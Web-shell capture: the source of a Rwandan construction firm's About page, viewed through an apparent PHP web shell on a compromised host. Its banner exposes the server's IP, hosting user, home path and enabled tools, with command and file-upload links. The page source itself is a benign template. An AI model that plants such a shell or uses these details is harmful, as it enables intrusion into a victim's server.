|
Server IP : 63.250.38.157 / Your IP : 216.73.216.55 Web Server : LiteSpeed System : Linux premium293.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64 User : fastpowo ( 1724) PHP Version : 8.2.31 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home/fastpowo/strongconstructions.rw/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>About Strong Construction</title>
<meta content="width=device-width, initial-scale=1.0" name="viewport">
<meta content="" name="keywords">
<meta content="" name="description">
<!-- Google Web Fonts -->
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Playfair+Display:ital,wght@0,400..900;1,400..900&family=Roboto:wght@400;500;700&display=swap" rel="stylesheet">
<!-- Icon Font Stylesheet -->
<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.15.4/css/all.css"/>
<link href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.4.1/font/bootstrap-icons.css" rel="stylesheet">
<!-- Libraries Stylesheet -->
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/animate.css/4.1.1/animate.min.css"/>
<link href="lib/animate/animate.min.css" rel="stylesheet">
<link href="lib/owlcarousel/assets/owl.carousel.min.css" rel="stylesheet">
<link href="lib/lightbox/css/lightbox.min.css" rel="stylesheet">
<!-- Customized Bootstrap Stylesheet -->
<link href="css/bootstrap.min.css" rel="stylesheet">
<!-- Template Stylesheet -->
<link href="css/style.css" rel="stylesheet">
</head>
<body>
<!-- Spinner Start -->
<div id="spinner" class="show bg-white position-fixed translate-middle w-100 vh-100 top-50 start-50 d-flex align-items-center justify-content-center">
<div class="spinner-border text-primary" style="width: 3rem; height: 3rem;" role="status">
<span class="sr-only">Loading...</span>
</div>
</div>
<!-- Spinner End -->
<!-- Topbar Start -->
<?php include 'topbar.php'; ?>
<!-- Topbar End -->
<!-- Navbar & Hero Start -->
<?php include 'navbar.php'; ?>
<!-- Navbar & Hero End -->
<!-- Modal Search Start -->
<!-- <div class="modal fade" id="searchModal" tabindex="-1" aria-labelledby="exampleModalLabel" aria-hidden="true">
<div class="modal-dialog modal-fullscreen">
<div class="modal-content rounded-0">
<div class="modal-header">
<h4 class="modal-title mb-0" id="exampleModalLabel">Search by keyword</h4>
<button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
</div>
<div class="modal-body d-flex align-items-center">
<div class="input-group w-75 mx-auto d-flex">
<input type="search" class="form-control p-3" placeholder="keywords" aria-describedby="search-icon-1">
<span id="search-icon-1" class="input-group-text p-3"><i class="fa fa-search"></i></span>
</div>
</div>
</div>
</div>
</div> -->
<!-- Modal Search End -->
<!-- Header Start -->
<div class="container-fluid bg-breadcrumb">
<div class="container text-center py-5" style="max-width: 900px;">
<h4 class="text-white display-4 mb-4 wow fadeInDown" data-wow-delay="0.1s">About Us</h4>
<!-- <ol class="breadcrumb d-flex justify-content-center mb-0 wow fadeInDown" data-wow-delay="0.3s">
<li class="breadcrumb-item"><a href="index.html">Home</a></li>
<li class="breadcrumb-item"><a href="#">Pages</a></li>
<li class="breadcrumb-item active text-secondary">About</li>
</ol> -->
</div>
</div>
<!-- Header End -->
<!-- About Start -->
<div class="container-fluid about py-5">
<div class="container py-5">
<div class="row g-5 align-items-center">
<div class="col-xl-6 wow fadeInLeft" data-wow-delay="0.1s">
<div class="about-item-image d-flex">
<img src="img/about.jpg" class="img-1 img-fluid w-50" alt="">
<img src="img/about-3.jpg" class="img-2 img-fluid w-50" alt="">
<div class="about-item-image-content">
<img src="img/about-1.png" class="img-fluid w-100 h-100" style="object-fit: cover;" alt="">
</div>
</div>
</div>
<div class="col-xl-6 wow fadeInRight" data-wow-delay="0.1s">
<div class="about-item-content">
<p class="text-uppercase text-secondary fs-5 mb-0">WE ARE CONSTRUCTION COMPANY</p>
<h2 class="display-4 text-capitalize mb-3">Making your vision come true at the basics.</h2>
<p class="mb-4 fs-5">Strong construction is a Rwandan based contruction company with over 15 years fo market experience
</p>
<div class="pb-4 mb-4 border-bottom">
<div class="row g-4">
<div class="col-lg-4">
<div class="about-item-content-img">
<img src="img/about-2.jpg" class="img-fluid w-100" alt="">
</div>
</div>
<div class="col-lg-8">
<div class="d-flex mb-4">
<div class="text-secondary">
<i class="fas fa-user-shield fa-3x"></i>
</div>
<h4 class="ms-3">Building quality standards</h4>
</div>
<div class="d-flex">
<div class="text-secondary">
<i class="fas fa-users-cog fa-3x"></i>
</div>
<h4 class="ms-3">Certified engineer’s team</h4>
</div>
</div>
</div>
</div>
<div class="row gy-0 gx-4 justify-content-between pb-4">
<div class="col-lg-6">
<p class="text-dark"><i class="fas fa-check text-secondary me-1"></i> 100% Satisfaction</p>
<p class="text-dark"><i class="fas fa-check text-secondary me-1"></i> Trained Emploies</p>
</div>
<div class="col-lg-6">
<p class="text-dark"><i class="fas fa-check text-secondary me-1"></i> Integrity</p>
<p class="text-dark mb-0"><i class="fas fa-check text-secondary me-1"></i> Flexible and cost effective</p>
</div>
</div>
<a class="btn btn-secondary d-inline-block py-3 px-5 me-2 flex-shrink-0 wow fadeInUp" data-wow-delay="0.1s" href="#">Discover More</a>
</div>
</div>
</div>
</div>
</div>
<!-- About End -->
<!-- Features Start -->
<?php include 'whychooseus.php';?>
<!-- Features End -->
<!-- Fact Counter -->
<div class="container-fluid counter py-5">
<div class="container py-5">
<div class="row g-4">
<div class="col-lg-6 col-xl-3 wow fadeInUp" data-wow-delay="0.2s">
<div class="counter-box">
<div class="counter-item">
<div class="counter-item-style"></div>
<div class="counter-item-inner p-5">
<i class="fas fa-thumbs-up fa-4x text-secondary"></i>
<h4 class="text-dark my-4">Completed Projects</h4>
<div class="counter-counting">
<span class="text-secondary fs-2 fw-bold" data-toggle="counter-up">456</span>
<span class="h1 fw-bold text-secondary">+</span>
</div>
</div>
</div>
</div>
</div>
<div class="col-lg-6 col-xl-3 wow fadeInUp" data-wow-delay="0.4s">
<div class="counter-box">
<div class="counter-item">
<div class="counter-item-style"></div>
<div class="counter-item-inner p-5">
<i class="fas fa-users fa-4x text-secondary"></i>
<h4 class="text-dark my-4">Happy Customers</h4>
<div class="counter-counting">
<span class="text-secondary fs-2 fw-bold" data-toggle="counter-up">513</span>
<span class="h1 fw-bold text-secondary">+</span>
</div>
</div>
</div>
</div>
</div>
<div class="col-lg-6 col-xl-3 wow fadeInUp" data-wow-delay="0.6s">
<div class="counter-box">
<div class="counter-item">
<div class="counter-item-style"></div>
<div class="counter-item-inner p-5">
<i class="fas fa-user fa-4x text-secondary"></i>
<h4 class="text-dark my-4">Qualified Engineers</h4>
<div class="counter-counting">
<span class="text-secondary fs-2 fw-bold" data-toggle="counter-up">53</span>
<span class="h1 fw-bold text-secondary">+</span>
</div>
</div>
</div>
</div>
</div>
<div class="col-lg-6 col-xl-3 wow fadeInUp" data-wow-delay="0.8s">
<div class="counter-box">
<div class="counter-item">
<div class="counter-item-style"></div>
<div class="counter-item-inner p-5">
<i class="fas fa-heart fa-4x text-secondary"></i>
<h4 class="text-dark my-4">Years Experiance</h4>
<div class="counter-counting">
<span class="text-secondary fs-2 fw-bold" data-toggle="counter-up">17</span>
<span class="h1 fw-bold text-secondary">+</span>
</div>
</div>
</div>
</div>
</div>
<!-- <div class="col-12 text-center pt-4 wow fadeInUp" data-wow-delay="0.9s">
<a class="counter-btn btn btn-secondary py-3 px-5" href="#">Join With Us</a>
</div> -->
</div>
</div>
</div>
<!-- Fact Counter -->
<!-- Team Start -->
<div class="container-fluid team py-5">
<div class="container py-5">
<div class="text-center mx-auto pb-5 wow fadeInUp" data-wow-delay="0.2s" style="max-width: 800px;">
<p class="text-uppercase text-secondary fs-5 mb-0">Our Team</p>
<h2 class="display-4 text-capitalize mb-3">Expert team members.</h2>
</div>
<div class="row g-4">
<div class="col-lg-3 wow fadeInUp" data-wow-delay="0.2s">
<div class="team-item border border-primary p-1">
<div class="team-border-style-1"></div>
<div class="team-border-style-2"></div>
<div class="team-border-style-3"></div>
<div class="team-border-style-4"></div>
<div class="team-img">
<img src="img/team-1.jpg" class="img-fluid w-100" alt="">
<div class="team-icon d-flex justify-content-around">
<a class="btn btn-secondary btn-md-square text-white mx-3" href=""><i class="fab fa-facebook-f"></i></a>
<a class="btn btn-secondary btn-md-square text-white me-3" href=""><i class="fab fa-twitter"></i></a>
<a class="btn btn-secondary btn-md-square text-white me-3" href=""><i class="fab fa-linkedin-in"></i></a>
<a class="btn btn-secondary btn-md-square text-white me-3" href=""><i class="fab fa-instagram"></i></a>
</div>
</div>
<div class="text-center border border-top-0 bg-white py-3">
<h4 class="mb-0">Masud Maria</h4>
<p class="mb-0">Foreman</p>
</div>
</div>
</div>
<div class="col-lg-3 wow fadeInUp" data-wow-delay="0.4s">
<div class="team-item border border-primary p-1">
<div class="team-border-style-1"></div>
<div class="team-border-style-2"></div>
<div class="team-border-style-3"></div>
<div class="team-border-style-4"></div>
<div class="team-img">
<img src="img/team-2.jpg" class="img-fluid w-100" alt="">
<div class="team-icon d-flex justify-content-around">
<a class="btn btn-secondary btn-md-square text-white mx-3" href=""><i class="fab fa-facebook-f"></i></a>
<a class="btn btn-secondary btn-md-square text-white me-3" href=""><i class="fab fa-twitter"></i></a>
<a class="btn btn-secondary btn-md-square text-white me-3" href=""><i class="fab fa-linkedin-in"></i></a>
<a class="btn btn-secondary btn-md-square text-white me-3" href=""><i class="fab fa-instagram"></i></a>
</div>
</div>
<div class="text-center border border-top-0 bg-white py-3">
<h4 class="mb-0">Masud Maria</h4>
<p class="mb-0">Foreman</p>
</div>
</div>
</div>
<div class="col-lg-3 wow fadeInUp" data-wow-delay="0.6s">
<div class="team-item border border-primary p-1">
<div class="team-border-style-1"></div>
<div class="team-border-style-2"></div>
<div class="team-border-style-3"></div>
<div class="team-border-style-4"></div>
<div class="team-img">
<img src="img/team-3.jpg" class="img-fluid w-100" alt="">
<div class="team-icon d-flex justify-content-around">
<a class="btn btn-secondary btn-md-square text-white mx-3" href=""><i class="fab fa-facebook-f"></i></a>
<a class="btn btn-secondary btn-md-square text-white me-3" href=""><i class="fab fa-twitter"></i></a>
<a class="btn btn-secondary btn-md-square text-white me-3" href=""><i class="fab fa-linkedin-in"></i></a>
<a class="btn btn-secondary btn-md-square text-white me-3" href=""><i class="fab fa-instagram"></i></a>
</div>
</div>
<div class="text-center border border-top-0 bg-white py-3">
<h4 class="mb-0">Masud Maria</h4>
<p class="mb-0">Foreman</p>
</div>
</div>
</div>
<div class="col-lg-3 wow fadeInUp" data-wow-delay="0.8s">
<div class="team-item border border-primary p-1">
<div class="team-border-style-1"></div>
<div class="team-border-style-2"></div>
<div class="team-border-style-3"></div>
<div class="team-border-style-4"></div>
<div class="team-img">
<img src="img/team-4.jpg" class="img-fluid w-100" alt="">
<div class="team-icon d-flex justify-content-around">
<a class="btn btn-secondary btn-md-square text-white mx-3" href=""><i class="fab fa-facebook-f"></i></a>
<a class="btn btn-secondary btn-md-square text-white me-3" href=""><i class="fab fa-twitter"></i></a>
<a class="btn btn-secondary btn-md-square text-white me-3" href=""><i class="fab fa-linkedin-in"></i></a>
<a class="btn btn-secondary btn-md-square text-white me-3" href=""><i class="fab fa-instagram"></i></a>
</div>
</div>
<div class="text-center border border-top-0 bg-white py-3">
<h4 class="mb-0">Masud Maria</h4>
<p class="mb-0">Foreman</p>
</div>
</div>
</div>
</div>
</div>
</div>
<!-- Team End -->
<!-- Footer Start -->
<?php include 'footer.php'; ?>
<!-- Footer End -->
<!-- Copyright Start -->
<?php include 'copyright.php'; ?>
<!-- Copyright End -->
<!-- Back to Top -->
<a href="#" class="btn btn-secondary btn-lg-square back-to-top"><i class="fa fa-arrow-up"></i></a>
<!-- JavaScript Libraries -->
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.6.4/jquery.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.0.0/dist/js/bootstrap.bundle.min.js"></script>
<script src="lib/wow/wow.min.js"></script>
<script src="lib/easing/easing.min.js"></script>
<script src="lib/waypoints/waypoints.min.js"></script>
<script src="lib/counterup/counterup.min.js"></script>
<script src="lib/owlcarousel/owl.carousel.min.js"></script>
<script src="lib/lightbox/js/lightbox.min.js"></script>
<!-- Template Javascript -->
<script src="js/main.js"></script>
</body>
</html>